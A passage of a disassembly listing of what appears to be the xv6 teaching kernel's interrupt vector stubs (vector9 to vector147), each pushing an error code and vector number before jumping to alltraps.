jmp alltraps 8010589e: e9 1a fb ff ff jmp 801053bd <alltraps> 801058a3 <vector9>: .globl vector9 vector9: pushl $0 801058a3: 6a 00 push $0x0 pushl $9 801058a5: 6a 09 push $0x9 jmp alltraps 801058a7: e9 11 fb ff ff jmp 801053bd <alltraps> 801058ac <vector10>: .globl vector10 vector10: pushl $10 801058ac: 6a 0a push $0xa jmp alltraps 801058ae: e9 0a fb ff ff jmp 801053bd <alltraps> 801058b3 <vector11>: .globl vector11 vector11: pushl $11 801058b3: 6a 0b push $0xb jmp alltraps 801058b5: e9 03 fb ff ff jmp 801053bd <alltraps> 801058ba <vector12>: .globl vector12 vector12: pushl $12 801058ba: 6a 0c push $0xc jmp alltraps 801058bc: e9 fc fa ff ff jmp 801053bd <alltraps> 801058c1 <vector13>: .globl vector13 vector13: pushl $13 801058c1: 6a 0d push $0xd jmp alltraps 801058c3: e9 f5 fa ff ff jmp 801053bd <alltraps> 801058c8 <vector14>: .globl vector14 vector14: pushl $14 801058c8: 6a 0e push $0xe jmp alltraps 801058ca: e9 ee fa ff ff jmp 801053bd <alltraps> 801058cf <vector15>: .globl vector15 vector15: pushl $0 801058cf: 6a 00 push $0x0 pushl $15 801058d1: 6a 0f push $0xf jmp alltraps 801058d3: e9 e5 fa ff ff jmp 801053bd <alltraps> 801058d8 <vector16>: .globl vector16 vector16: pushl $0 801058d8: 6a 00 push $0x0 pushl $16 801058da: 6a 10 push $0x10 jmp alltraps 801058dc: e9 dc fa ff ff jmp 801053bd <alltraps> 801058e1 <vector17>: .globl vector17 vector17: pushl $17 801058e1: 6a 11 push $0x11 jmp alltraps 801058e3: e9 d5 fa ff ff jmp 801053bd <alltraps> 801058e8 <vector18>: .globl vector18 vector18: pushl $0 801058e8: 6a 00 push $0x0 pushl $18 801058ea: 6a 12 push $0x12 jmp alltraps 801058ec: e9 cc fa ff ff jmp 801053bd <alltraps> 801058f1 <vector19>: .globl vector19 vector19: pushl $0 801058f1: 6a 00 push $0x0 pushl $19 801058f3: 6a 13 push $0x13 jmp alltraps 801058f5: e9 c3 fa ff ff jmp 801053bd <alltraps> 801058fa <vector20>: .globl vector20 vector20: pushl $0 801058fa: 6a 00 push $0x0 pushl $20 801058fc: 6a 14 push $0x14 jmp alltraps 801058fe: e9 ba fa ff ff jmp 801053bd <alltraps> 80105903 <vector21>: .globl vector21 vector21: pushl $0 80105903: 6a 00 push $0x0 pushl $21 80105905: 6a 15 push $0x15 jmp alltraps 80105907: e9 b1 fa ff ff jmp 801053bd <alltraps> 8010590c <vector22>: .globl vector22 vector22: pushl $0 8010590c: 6a 00 push $0x0 pushl $22 8010590e: 6a 16 push $0x16 jmp alltraps 80105910: e9 a8 fa ff ff jmp 801053bd <alltraps> 80105915 <vector23>: .globl vector23 vector23: pushl $0 80105915: 6a 00 push $0x0 pushl $23 80105917: 6a 17 push $0x17 jmp alltraps 80105919: e9 9f fa ff ff jmp 801053bd <alltraps> 8010591e <vector24>: .globl vector24 vector24: pushl $0 8010591e: 6a 00 push $0x0 pushl $24 80105920: 6a 18 push $0x18 jmp alltraps 80105922: e9 96 fa ff ff jmp 801053bd <alltraps> 80105927 <vector25>: .globl vector25 vector25: pushl $0 80105927: 6a 00 push $0x0 pushl $25 80105929: 6a 19 push $0x19 jmp alltraps 8010592b: e9 8d fa ff ff jmp 801053bd <alltraps> 80105930 <vector26>: .globl vector26 vector26: pushl $0 80105930: 6a 00 push $0x0 pushl $26 80105932: 6a 1a push $0x1a jmp alltraps 80105934: e9 84 fa ff ff jmp 801053bd <alltraps> 80105939 <vector27>: .globl vector27 vector27: pushl $0 80105939: 6a 00 push $0x0 pushl $27 8010593b: 6a 1b push $0x1b jmp alltraps 8010593d: e9 7b fa ff ff jmp 801053bd <alltraps> 80105942 <vector28>: .globl vector28 vector28: pushl $0 80105942: 6a 00 push $0x0 pushl $28 80105944: 6a 1c push $0x1c jmp alltraps 80105946: e9 72 fa ff ff jmp 801053bd <alltraps> 8010594b <vector29>: .globl vector29 vector29: pushl $0 8010594b: 6a 00 push $0x0 pushl $29 8010594d: 6a 1d push $0x1d jmp alltraps 8010594f: e9 69 fa ff ff jmp 801053bd <alltraps> 80105954 <vector30>: .globl vector30 vector30: pushl $0 80105954: 6a 00 push $0x0 pushl $30 80105956: 6a 1e push $0x1e jmp alltraps 80105958: e9 60 fa ff ff jmp 801053bd <alltraps> 8010595d <vector31>: .globl vector31 vector31: pushl $0 8010595d: 6a 00 push $0x0 pushl $31 8010595f: 6a 1f push $0x1f jmp alltraps 80105961: e9 57 fa ff ff jmp 801053bd <alltraps> 80105966 <vector32>: .globl vector32 vector32: pushl $0 80105966: 6a 00 push $0x0 pushl $32 80105968: 6a 20 push $0x20 jmp alltraps 8010596a: e9 4e fa ff ff jmp 801053bd <alltraps> 8010596f <vector33>: .globl vector33 vector33: pushl $0 8010596f: 6a 00 push $0x0 pushl $33 80105971: 6a 21 push $0x21 jmp alltraps 80105973: e9 45 fa ff ff jmp 801053bd <alltraps> 80105978 <vector34>: .globl vector34 vector34: pushl $0 80105978: 6a 00 push $0x0 pushl $34 8010597a: 6a 22 push $0x22 jmp alltraps 8010597c: e9 3c fa ff ff jmp 801053bd <alltraps> 80105981 <vector35>: .globl vector35 vector35: pushl $0 80105981: 6a 00 push $0x0 pushl $35 80105983: 6a 23 push $0x23 jmp alltraps 80105985: e9 33 fa ff ff jmp 801053bd <alltraps> 8010598a <vector36>: .globl vector36 vector36: pushl $0 8010598a: 6a 00 push $0x0 pushl $36 8010598c: 6a 24 push $0x24 jmp alltraps 8010598e: e9 2a fa ff ff jmp 801053bd <alltraps> 80105993 <vector37>: .globl vector37 vector37: pushl $0 80105993: 6a 00 push $0x0 pushl $37 80105995: 6a 25 push $0x25 jmp alltraps 80105997: e9 21 fa ff ff jmp 801053bd <alltraps> 8010599c <vector38>: .globl vector38 vector38: pushl $0 8010599c: 6a 00 push $0x0 pushl $38 8010599e: 6a 26 push $0x26 jmp alltraps 801059a0: e9 18 fa ff ff jmp 801053bd <alltraps> 801059a5 <vector39>: .globl vector39 vector39: pushl $0 801059a5: 6a 00 push $0x0 pushl $39 801059a7: 6a 27 push $0x27 jmp alltraps 801059a9: e9 0f fa ff ff jmp 801053bd <alltraps> 801059ae <vector40>: .globl vector40 vector40: pushl $0 801059ae: 6a 00 push $0x0 pushl $40 801059b0: 6a 28 push $0x28 jmp alltraps 801059b2: e9 06 fa ff ff jmp 801053bd <alltraps> 801059b7 <vector41>: .globl vector41 vector41: pushl $0 801059b7: 6a 00 push $0x0 pushl $41 801059b9: 6a 29 push $0x29 jmp alltraps 801059bb: e9 fd f9 ff ff jmp 801053bd <alltraps> 801059c0 <vector42>: .globl vector42 vector42: pushl $0 801059c0: 6a 00 push $0x0 pushl $42 801059c2: 6a 2a push $0x2a jmp alltraps 801059c4: e9 f4 f9 ff ff jmp 801053bd <alltraps> 801059c9 <vector43>: .globl vector43 vector43: pushl $0 801059c9: 6a 00 push $0x0 pushl $43 801059cb: 6a 2b push $0x2b jmp alltraps 801059cd: e9 eb f9 ff ff jmp 801053bd <alltraps> 801059d2 <vector44>: .globl vector44 vector44: pushl $0 801059d2: 6a 00 push $0x0 pushl $44 801059d4: 6a 2c push $0x2c jmp alltraps 801059d6: e9 e2 f9 ff ff jmp 801053bd <alltraps> 801059db <vector45>: .globl vector45 vector45: pushl $0 801059db: 6a 00 push $0x0 pushl $45 801059dd: 6a 2d push $0x2d jmp alltraps 801059df: e9 d9 f9 ff ff jmp 801053bd <alltraps> 801059e4 <vector46>: .globl vector46 vector46: pushl $0 801059e4: 6a 00 push $0x0 pushl $46 801059e6: 6a 2e push $0x2e jmp alltraps 801059e8: e9 d0 f9 ff ff jmp 801053bd <alltraps> 801059ed <vector47>: .globl vector47 vector47: pushl $0 801059ed: 6a 00 push $0x0 pushl $47 801059ef: 6a 2f push $0x2f jmp alltraps 801059f1: e9 c7 f9 ff ff jmp 801053bd <alltraps> 801059f6 <vector48>: .globl vector48 vector48: pushl $0 801059f6: 6a 00 push $0x0 pushl $48 801059f8: 6a 30 push $0x30 jmp alltraps 801059fa: e9 be f9 ff ff jmp 801053bd <alltraps> 801059ff <vector49>: .globl vector49 vector49: pushl $0 801059ff: 6a 00 push $0x0 pushl $49 80105a01: 6a 31 push $0x31 jmp alltraps 80105a03: e9 b5 f9 ff ff jmp 801053bd <alltraps> 80105a08 <vector50>: .globl vector50 vector50: pushl $0 80105a08: 6a 00 push $0x0 pushl $50 80105a0a: 6a 32 push $0x32 jmp alltraps 80105a0c: e9 ac f9 ff ff jmp 801053bd <alltraps> 80105a11 <vector51>: .globl vector51 vector51: pushl $0 80105a11: 6a 00 push $0x0 pushl $51 80105a13: 6a 33 push $0x33 jmp alltraps 80105a15: e9 a3 f9 ff ff jmp 801053bd <alltraps> 80105a1a <vector52>: .globl vector52 vector52: pushl $0 80105a1a: 6a 00 push $0x0 pushl $52 80105a1c: 6a 34 push $0x34 jmp alltraps 80105a1e: e9 9a f9 ff ff jmp 801053bd <alltraps> 80105a23 <vector53>: .globl vector53 vector53: pushl $0 80105a23: 6a 00 push $0x0 pushl $53 80105a25: 6a 35 push $0x35 jmp alltraps 80105a27: e9 91 f9 ff ff jmp 801053bd <alltraps> 80105a2c <vector54>: .globl vector54 vector54: pushl $0 80105a2c: 6a 00 push $0x0 pushl $54 80105a2e: 6a 36 push $0x36 jmp alltraps 80105a30: e9 88 f9 ff ff jmp 801053bd <alltraps> 80105a35 <vector55>: .globl vector55 vector55: pushl $0 80105a35: 6a 00 push $0x0 pushl $55 80105a37: 6a 37 push $0x37 jmp alltraps 80105a39: e9 7f f9 ff ff jmp 801053bd <alltraps> 80105a3e <vector56>: .globl vector56 vector56: pushl $0 80105a3e: 6a 00 push $0x0 pushl $56 80105a40: 6a 38 push $0x38 jmp alltraps 80105a42: e9 76 f9 ff ff jmp 801053bd <alltraps> 80105a47 <vector57>: .globl vector57 vector57: pushl $0 80105a47: 6a 00 push $0x0 pushl $57 80105a49: 6a 39 push $0x39 jmp alltraps 80105a4b: e9 6d f9 ff ff jmp 801053bd <alltraps> 80105a50 <vector58>: .globl vector58 vector58: pushl $0 80105a50: 6a 00 push $0x0 pushl $58 80105a52: 6a 3a push $0x3a jmp alltraps 80105a54: e9 64 f9 ff ff jmp 801053bd <alltraps> 80105a59 <vector59>: .globl vector59 vector59: pushl $0 80105a59: 6a 00 push $0x0 pushl $59 80105a5b: 6a 3b push $0x3b jmp alltraps 80105a5d: e9 5b f9 ff ff jmp 801053bd <alltraps> 80105a62 <vector60>: .globl vector60 vector60: pushl $0 80105a62: 6a 00 push $0x0 pushl $60 80105a64: 6a 3c push $0x3c jmp alltraps 80105a66: e9 52 f9 ff ff jmp 801053bd <alltraps> 80105a6b <vector61>: .globl vector61 vector61: pushl $0 80105a6b: 6a 00 push $0x0 pushl $61 80105a6d: 6a 3d push $0x3d jmp alltraps 80105a6f: e9 49 f9 ff ff jmp 801053bd <alltraps> 80105a74 <vector62>: .globl vector62 vector62: pushl $0 80105a74: 6a 00 push $0x0 pushl $62 80105a76: 6a 3e push $0x3e jmp alltraps 80105a78: e9 40 f9 ff ff jmp 801053bd <alltraps> 80105a7d <vector63>: .globl vector63 vector63: pushl $0 80105a7d: 6a 00 push $0x0 pushl $63 80105a7f: 6a 3f push $0x3f jmp alltraps 80105a81: e9 37 f9 ff ff jmp 801053bd <alltraps> 80105a86 <vector64>: .globl vector64 vector64: pushl $0 80105a86: 6a 00 push $0x0 pushl $64 80105a88: 6a 40 push $0x40 jmp alltraps 80105a8a: e9 2e f9 ff ff jmp 801053bd <alltraps> 80105a8f <vector65>: .globl vector65 vector65: pushl $0 80105a8f: 6a 00 push $0x0 pushl $65 80105a91: 6a 41 push $0x41 jmp alltraps 80105a93: e9 25 f9 ff ff jmp 801053bd <alltraps> 80105a98 <vector66>: .globl vector66 vector66: pushl $0 80105a98: 6a 00 push $0x0 pushl $66 80105a9a: 6a 42 push $0x42 jmp alltraps 80105a9c: e9 1c f9 ff ff jmp 801053bd <alltraps> 80105aa1 <vector67>: .globl vector67 vector67: pushl $0 80105aa1: 6a 00 push $0x0 pushl $67 80105aa3: 6a 43 push $0x43 jmp alltraps 80105aa5: e9 13 f9 ff ff jmp 801053bd <alltraps> 80105aaa <vector68>: .globl vector68 vector68: pushl $0 80105aaa: 6a 00 push $0x0 pushl $68 80105aac: 6a 44 push $0x44 jmp alltraps 80105aae: e9 0a f9 ff ff jmp 801053bd <alltraps> 80105ab3 <vector69>: .globl vector69 vector69: pushl $0 80105ab3: 6a 00 push $0x0 pushl $69 80105ab5: 6a 45 push $0x45 jmp alltraps 80105ab7: e9 01 f9 ff ff jmp 801053bd <alltraps> 80105abc <vector70>: .globl vector70 vector70: pushl $0 80105abc: 6a 00 push $0x0 pushl $70 80105abe: 6a 46 push $0x46 jmp alltraps 80105ac0: e9 f8 f8 ff ff jmp 801053bd <alltraps> 80105ac5 <vector71>: .globl vector71 vector71: pushl $0 80105ac5: 6a 00 push $0x0 pushl $71 80105ac7: 6a 47 push $0x47 jmp alltraps 80105ac9: e9 ef f8 ff ff jmp 801053bd <alltraps> 80105ace <vector72>: .globl vector72 vector72: pushl $0 80105ace: 6a 00 push $0x0 pushl $72 80105ad0: 6a 48 push $0x48 jmp alltraps 80105ad2: e9 e6 f8 ff ff jmp 801053bd <alltraps> 80105ad7 <vector73>: .globl vector73 vector73: pushl $0 80105ad7: 6a 00 push $0x0 pushl $73 80105ad9: 6a 49 push $0x49 jmp alltraps 80105adb: e9 dd f8 ff ff jmp 801053bd <alltraps> 80105ae0 <vector74>: .globl vector74 vector74: pushl $0 80105ae0: 6a 00 push $0x0 pushl $74 80105ae2: 6a 4a push $0x4a jmp alltraps 80105ae4: e9 d4 f8 ff ff jmp 801053bd <alltraps> 80105ae9 <vector75>: .globl vector75 vector75: pushl $0 80105ae9: 6a 00 push $0x0 pushl $75 80105aeb: 6a 4b push $0x4b jmp alltraps 80105aed: e9 cb f8 ff ff jmp 801053bd <alltraps> 80105af2 <vector76>: .globl vector76 vector76: pushl $0 80105af2: 6a 00 push $0x0 pushl $76 80105af4: 6a 4c push $0x4c jmp alltraps 80105af6: e9 c2 f8 ff ff jmp 801053bd <alltraps> 80105afb <vector77>: .globl vector77 vector77: pushl $0 80105afb: 6a 00 push $0x0 pushl $77 80105afd: 6a 4d push $0x4d jmp alltraps 80105aff: e9 b9 f8 ff ff jmp 801053bd <alltraps> 80105b04 <vector78>: .globl vector78 vector78: pushl $0 80105b04: 6a 00 push $0x0 pushl $78 80105b06: 6a 4e push $0x4e jmp alltraps 80105b08: e9 b0 f8 ff ff jmp 801053bd <alltraps> 80105b0d <vector79>: .globl vector79 vector79: pushl $0 80105b0d: 6a 00 push $0x0 pushl $79 80105b0f: 6a 4f push $0x4f jmp alltraps 80105b11: e9 a7 f8 ff ff jmp 801053bd <alltraps> 80105b16 <vector80>: .globl vector80 vector80: pushl $0 80105b16: 6a 00 push $0x0 pushl $80 80105b18: 6a 50 push $0x50 jmp alltraps 80105b1a: e9 9e f8 ff ff jmp 801053bd <alltraps> 80105b1f <vector81>: .globl vector81 vector81: pushl $0 80105b1f: 6a 00 push $0x0 pushl $81 80105b21: 6a 51 push $0x51 jmp alltraps 80105b23: e9 95 f8 ff ff jmp 801053bd <alltraps> 80105b28 <vector82>: .globl vector82 vector82: pushl $0 80105b28: 6a 00 push $0x0 pushl $82 80105b2a: 6a 52 push $0x52 jmp alltraps 80105b2c: e9 8c f8 ff ff jmp 801053bd <alltraps> 80105b31 <vector83>: .globl vector83 vector83: pushl $0 80105b31: 6a 00 push $0x0 pushl $83 80105b33: 6a 53 push $0x53 jmp alltraps 80105b35: e9 83 f8 ff ff jmp 801053bd <alltraps> 80105b3a <vector84>: .globl vector84 vector84: pushl $0 80105b3a: 6a 00 push $0x0 pushl $84 80105b3c: 6a 54 push $0x54 jmp alltraps 80105b3e: e9 7a f8 ff ff jmp 801053bd <alltraps> 80105b43 <vector85>: .globl vector85 vector85: pushl $0 80105b43: 6a 00 push $0x0 pushl $85 80105b45: 6a 55 push $0x55 jmp alltraps 80105b47: e9 71 f8 ff ff jmp 801053bd <alltraps> 80105b4c <vector86>: .globl vector86 vector86: pushl $0 80105b4c: 6a 00 push $0x0 pushl $86 80105b4e: 6a 56 push $0x56 jmp alltraps 80105b50: e9 68 f8 ff ff jmp 801053bd <alltraps> 80105b55 <vector87>: .globl vector87 vector87: pushl $0 80105b55: 6a 00 push $0x0 pushl $87 80105b57: 6a 57 push $0x57 jmp alltraps 80105b59: e9 5f f8 ff ff jmp 801053bd <alltraps> 80105b5e <vector88>: .globl vector88 vector88: pushl $0 80105b5e: 6a 00 push $0x0 pushl $88 80105b60: 6a 58 push $0x58 jmp alltraps 80105b62: e9 56 f8 ff ff jmp 801053bd <alltraps> 80105b67 <vector89>: .globl vector89 vector89: pushl $0 80105b67: 6a 00 push $0x0 pushl $89 80105b69: 6a 59 push $0x59 jmp alltraps 80105b6b: e9 4d f8 ff ff jmp 801053bd <alltraps> 80105b70 <vector90>: .globl vector90 vector90: pushl $0 80105b70: 6a 00 push $0x0 pushl $90 80105b72: 6a 5a push $0x5a jmp alltraps 80105b74: e9 44 f8 ff ff jmp 801053bd <alltraps> 80105b79 <vector91>: .globl vector91 vector91: pushl $0 80105b79: 6a 00 push $0x0 pushl $91 80105b7b: 6a 5b push $0x5b jmp alltraps 80105b7d: e9 3b f8 ff ff jmp 801053bd <alltraps> 80105b82 <vector92>: .globl vector92 vector92: pushl $0 80105b82: 6a 00 push $0x0 pushl $92 80105b84: 6a 5c push $0x5c jmp alltraps 80105b86: e9 32 f8 ff ff jmp 801053bd <alltraps> 80105b8b <vector93>: .globl vector93 vector93: pushl $0 80105b8b: 6a 00 push $0x0 pushl $93 80105b8d: 6a 5d push $0x5d jmp alltraps 80105b8f: e9 29 f8 ff ff jmp 801053bd <alltraps> 80105b94 <vector94>: .globl vector94 vector94: pushl $0 80105b94: 6a 00 push $0x0 pushl $94 80105b96: 6a 5e push $0x5e jmp alltraps 80105b98: e9 20 f8 ff ff jmp 801053bd <alltraps> 80105b9d <vector95>: .globl vector95 vector95: pushl $0 80105b9d: 6a 00 push $0x0 pushl $95 80105b9f: 6a 5f push $0x5f jmp alltraps 80105ba1: e9 17 f8 ff ff jmp 801053bd <alltraps> 80105ba6 <vector96>: .globl vector96 vector96: pushl $0 80105ba6: 6a 00 push $0x0 pushl $96 80105ba8: 6a 60 push $0x60 jmp alltraps 80105baa: e9 0e f8 ff ff jmp 801053bd <alltraps> 80105baf <vector97>: .globl vector97 vector97: pushl $0 80105baf: 6a 00 push $0x0 pushl $97 80105bb1: 6a 61 push $0x61 jmp alltraps 80105bb3: e9 05 f8 ff ff jmp 801053bd <alltraps> 80105bb8 <vector98>: .globl vector98 vector98: pushl $0 80105bb8: 6a 00 push $0x0 pushl $98 80105bba: 6a 62 push $0x62 jmp alltraps 80105bbc: e9 fc f7 ff ff jmp 801053bd <alltraps> 80105bc1 <vector99>: .globl vector99 vector99: pushl $0 80105bc1: 6a 00 push $0x0 pushl $99 80105bc3: 6a 63 push $0x63 jmp alltraps 80105bc5: e9 f3 f7 ff ff jmp 801053bd <alltraps> 80105bca <vector100>: .globl vector100 vector100: pushl $0 80105bca: 6a 00 push $0x0 pushl $100 80105bcc: 6a 64 push $0x64 jmp alltraps 80105bce: e9 ea f7 ff ff jmp 801053bd <alltraps> 80105bd3 <vector101>: .globl vector101 vector101: pushl $0 80105bd3: 6a 00 push $0x0 pushl $101 80105bd5: 6a 65 push $0x65 jmp alltraps 80105bd7: e9 e1 f7 ff ff jmp 801053bd <alltraps> 80105bdc <vector102>: .globl vector102 vector102: pushl $0 80105bdc: 6a 00 push $0x0 pushl $102 80105bde: 6a 66 push $0x66 jmp alltraps 80105be0: e9 d8 f7 ff ff jmp 801053bd <alltraps> 80105be5 <vector103>: .globl vector103 vector103: pushl $0 80105be5: 6a 00 push $0x0 pushl $103 80105be7: 6a 67 push $0x67 jmp alltraps 80105be9: e9 cf f7 ff ff jmp 801053bd <alltraps> 80105bee <vector104>: .globl vector104 vector104: pushl $0 80105bee: 6a 00 push $0x0 pushl $104 80105bf0: 6a 68 push $0x68 jmp alltraps 80105bf2: e9 c6 f7 ff ff jmp 801053bd <alltraps> 80105bf7 <vector105>: .globl vector105 vector105: pushl $0 80105bf7: 6a 00 push $0x0 pushl $105 80105bf9: 6a 69 push $0x69 jmp alltraps 80105bfb: e9 bd f7 ff ff jmp 801053bd <alltraps> 80105c00 <vector106>: .globl vector106 vector106: pushl $0 80105c00: 6a 00 push $0x0 pushl $106 80105c02: 6a 6a push $0x6a jmp alltraps 80105c04: e9 b4 f7 ff ff jmp 801053bd <alltraps> 80105c09 <vector107>: .globl vector107 vector107: pushl $0 80105c09: 6a 00 push $0x0 pushl $107 80105c0b: 6a 6b push $0x6b jmp alltraps 80105c0d: e9 ab f7 ff ff jmp 801053bd <alltraps> 80105c12 <vector108>: .globl vector108 vector108: pushl $0 80105c12: 6a 00 push $0x0 pushl $108 80105c14: 6a 6c push $0x6c jmp alltraps 80105c16: e9 a2 f7 ff ff jmp 801053bd <alltraps> 80105c1b <vector109>: .globl vector109 vector109: pushl $0 80105c1b: 6a 00 push $0x0 pushl $109 80105c1d: 6a 6d push $0x6d jmp alltraps 80105c1f: e9 99 f7 ff ff jmp 801053bd <alltraps> 80105c24 <vector110>: .globl vector110 vector110: pushl $0 80105c24: 6a 00 push $0x0 pushl $110 80105c26: 6a 6e push $0x6e jmp alltraps 80105c28: e9 90 f7 ff ff jmp 801053bd <alltraps> 80105c2d <vector111>: .globl vector111 vector111: pushl $0 80105c2d: 6a 00 push $0x0 pushl $111 80105c2f: 6a 6f push $0x6f jmp alltraps 80105c31: e9 87 f7 ff ff jmp 801053bd <alltraps> 80105c36 <vector112>: .globl vector112 vector112: pushl $0 80105c36: 6a 00 push $0x0 pushl $112 80105c38: 6a 70 push $0x70 jmp alltraps 80105c3a: e9 7e f7 ff ff jmp 801053bd <alltraps> 80105c3f <vector113>: .globl vector113 vector113: pushl $0 80105c3f: 6a 00 push $0x0 pushl $113 80105c41: 6a 71 push $0x71 jmp alltraps 80105c43: e9 75 f7 ff ff jmp 801053bd <alltraps> 80105c48 <vector114>: .globl vector114 vector114: pushl $0 80105c48: 6a 00 push $0x0 pushl $114 80105c4a: 6a 72 push $0x72 jmp alltraps 80105c4c: e9 6c f7 ff ff jmp 801053bd <alltraps> 80105c51 <vector115>: .globl vector115 vector115: pushl $0 80105c51: 6a 00 push $0x0 pushl $115 80105c53: 6a 73 push $0x73 jmp alltraps 80105c55: e9 63 f7 ff ff jmp 801053bd <alltraps> 80105c5a <vector116>: .globl vector116 vector116: pushl $0 80105c5a: 6a 00 push $0x0 pushl $116 80105c5c: 6a 74 push $0x74 jmp alltraps 80105c5e: e9 5a f7 ff ff jmp 801053bd <alltraps> 80105c63 <vector117>: .globl vector117 vector117: pushl $0 80105c63: 6a 00 push $0x0 pushl $117 80105c65: 6a 75 push $0x75 jmp alltraps 80105c67: e9 51 f7 ff ff jmp 801053bd <alltraps> 80105c6c <vector118>: .globl vector118 vector118: pushl $0 80105c6c: 6a 00 push $0x0 pushl $118 80105c6e: 6a 76 push $0x76 jmp alltraps 80105c70: e9 48 f7 ff ff jmp 801053bd <alltraps> 80105c75 <vector119>: .globl vector119 vector119: pushl $0 80105c75: 6a 00 push $0x0 pushl $119 80105c77: 6a 77 push $0x77 jmp alltraps 80105c79: e9 3f f7 ff ff jmp 801053bd <alltraps> 80105c7e <vector120>: .globl vector120 vector120: pushl $0 80105c7e: 6a 00 push $0x0 pushl $120 80105c80: 6a 78 push $0x78 jmp alltraps 80105c82: e9 36 f7 ff ff jmp 801053bd <alltraps> 80105c87 <vector121>: .globl vector121 vector121: pushl $0 80105c87: 6a 00 push $0x0 pushl $121 80105c89: 6a 79 push $0x79 jmp alltraps 80105c8b: e9 2d f7 ff ff jmp 801053bd <alltraps> 80105c90 <vector122>: .globl vector122 vector122: pushl $0 80105c90: 6a 00 push $0x0 pushl $122 80105c92: 6a 7a push $0x7a jmp alltraps 80105c94: e9 24 f7 ff ff jmp 801053bd <alltraps> 80105c99 <vector123>: .globl vector123 vector123: pushl $0 80105c99: 6a 00 push $0x0 pushl $123 80105c9b: 6a 7b push $0x7b jmp alltraps 80105c9d: e9 1b f7 ff ff jmp 801053bd <alltraps> 80105ca2 <vector124>: .globl vector124 vector124: pushl $0 80105ca2: 6a 00 push $0x0 pushl $124 80105ca4: 6a 7c push $0x7c jmp alltraps 80105ca6: e9 12 f7 ff ff jmp 801053bd <alltraps> 80105cab <vector125>: .globl vector125 vector125: pushl $0 80105cab: 6a 00 push $0x0 pushl $125 80105cad: 6a 7d push $0x7d jmp alltraps 80105caf: e9 09 f7 ff ff jmp 801053bd <alltraps> 80105cb4 <vector126>: .globl vector126 vector126: pushl $0 80105cb4: 6a 00 push $0x0 pushl $126 80105cb6: 6a 7e push $0x7e jmp alltraps 80105cb8: e9 00 f7 ff ff jmp 801053bd <alltraps> 80105cbd <vector127>: .globl vector127 vector127: pushl $0 80105cbd: 6a 00 push $0x0 pushl $127 80105cbf: 6a 7f push $0x7f jmp alltraps 80105cc1: e9 f7 f6 ff ff jmp 801053bd <alltraps> 80105cc6 <vector128>: .globl vector128 vector128: pushl $0 80105cc6: 6a 00 push $0x0 pushl $128 80105cc8: 68 80 00 00 00 push $0x80 jmp alltraps 80105ccd: e9 eb f6 ff ff jmp 801053bd <alltraps> 80105cd2 <vector129>: .globl vector129 vector129: pushl $0 80105cd2: 6a 00 push $0x0 pushl $129 80105cd4: 68 81 00 00 00 push $0x81 jmp alltraps 80105cd9: e9 df f6 ff ff jmp 801053bd <alltraps> 80105cde <vector130>: .globl vector130 vector130: pushl $0 80105cde: 6a 00 push $0x0 pushl $130 80105ce0: 68 82 00 00 00 push $0x82 jmp alltraps 80105ce5: e9 d3 f6 ff ff jmp 801053bd <alltraps> 80105cea <vector131>: .globl vector131 vector131: pushl $0 80105cea: 6a 00 push $0x0 pushl $131 80105cec: 68 83 00 00 00 push $0x83 jmp alltraps 80105cf1: e9 c7 f6 ff ff jmp 801053bd <alltraps> 80105cf6 <vector132>: .globl vector132 vector132: pushl $0 80105cf6: 6a 00 push $0x0 pushl $132 80105cf8: 68 84 00 00 00 push $0x84 jmp alltraps 80105cfd: e9 bb f6 ff ff jmp 801053bd <alltraps> 80105d02 <vector133>: .globl vector133 vector133: pushl $0 80105d02: 6a 00 push $0x0 pushl $133 80105d04: 68 85 00 00 00 push $0x85 jmp alltraps 80105d09: e9 af f6 ff ff jmp 801053bd <alltraps> 80105d0e <vector134>: .globl vector134 vector134: pushl $0 80105d0e: 6a 00 push $0x0 pushl $134 80105d10: 68 86 00 00 00 push $0x86 jmp alltraps 80105d15: e9 a3 f6 ff ff jmp 801053bd <alltraps> 80105d1a <vector135>: .globl vector135 vector135: pushl $0 80105d1a: 6a 00 push $0x0 pushl $135 80105d1c: 68 87 00 00 00 push $0x87 jmp alltraps 80105d21: e9 97 f6 ff ff jmp 801053bd <alltraps> 80105d26 <vector136>: .globl vector136 vector136: pushl $0 80105d26: 6a 00 push $0x0 pushl $136 80105d28: 68 88 00 00 00 push $0x88 jmp alltraps 80105d2d: e9 8b f6 ff ff jmp 801053bd <alltraps> 80105d32 <vector137>: .globl vector137 vector137: pushl $0 80105d32: 6a 00 push $0x0 pushl $137 80105d34: 68 89 00 00 00 push $0x89 jmp alltraps 80105d39: e9 7f f6 ff ff jmp 801053bd <alltraps> 80105d3e <vector138>: .globl vector138 vector138: pushl $0 80105d3e: 6a 00 push $0x0 pushl $138 80105d40: 68 8a 00 00 00 push $0x8a jmp alltraps 80105d45: e9 73 f6 ff ff jmp 801053bd <alltraps> 80105d4a <vector139>: .globl vector139 vector139: pushl $0 80105d4a: 6a 00 push $0x0 pushl $139 80105d4c: 68 8b 00 00 00 push $0x8b jmp alltraps 80105d51: e9 67 f6 ff ff jmp 801053bd <alltraps> 80105d56 <vector140>: .globl vector140 vector140: pushl $0 80105d56: 6a 00 push $0x0 pushl $140 80105d58: 68 8c 00 00 00 push $0x8c jmp alltraps 80105d5d: e9 5b f6 ff ff jmp 801053bd <alltraps> 80105d62 <vector141>: .globl vector141 vector141: pushl $0 80105d62: 6a 00 push $0x0 pushl $141 80105d64: 68 8d 00 00 00 push $0x8d jmp alltraps 80105d69: e9 4f f6 ff ff jmp 801053bd <alltraps> 80105d6e <vector142>: .globl vector142 vector142: pushl $0 80105d6e: 6a 00 push $0x0 pushl $142 80105d70: 68 8e 00 00 00 push $0x8e jmp alltraps 80105d75: e9 43 f6 ff ff jmp 801053bd <alltraps> 80105d7a <vector143>: .globl vector143 vector143: pushl $0 80105d7a: 6a 00 push $0x0 pushl $143 80105d7c: 68 8f 00 00 00 push $0x8f jmp alltraps 80105d81: e9 37 f6 ff ff jmp 801053bd <alltraps> 80105d86 <vector144>: .globl vector144 vector144: pushl $0 80105d86: 6a 00 push $0x0 pushl $144 80105d88: 68 90 00 00 00 push $0x90 jmp alltraps 80105d8d: e9 2b f6 ff ff jmp 801053bd <alltraps> 80105d92 <vector145>: .globl vector145 vector145: pushl $0 80105d92: 6a 00 push $0x0 pushl $145 80105d94: 68 91 00 00 00 push $0x91 jmp alltraps 80105d99: e9 1f f6 ff ff jmp 801053bd <alltraps> 80105d9e <vector146>: .globl vector146 vector146: pushl $0 80105d9e: 6a 00 push $0x0 pushl $146 80105da0: 68 92 00 00 00 push $0x92 jmp alltraps 80105da5: e9 13 f6 ff ff jmp 801053bd <alltraps> 80105daa <vector147>: .globl vector147 vector147: pushl $0 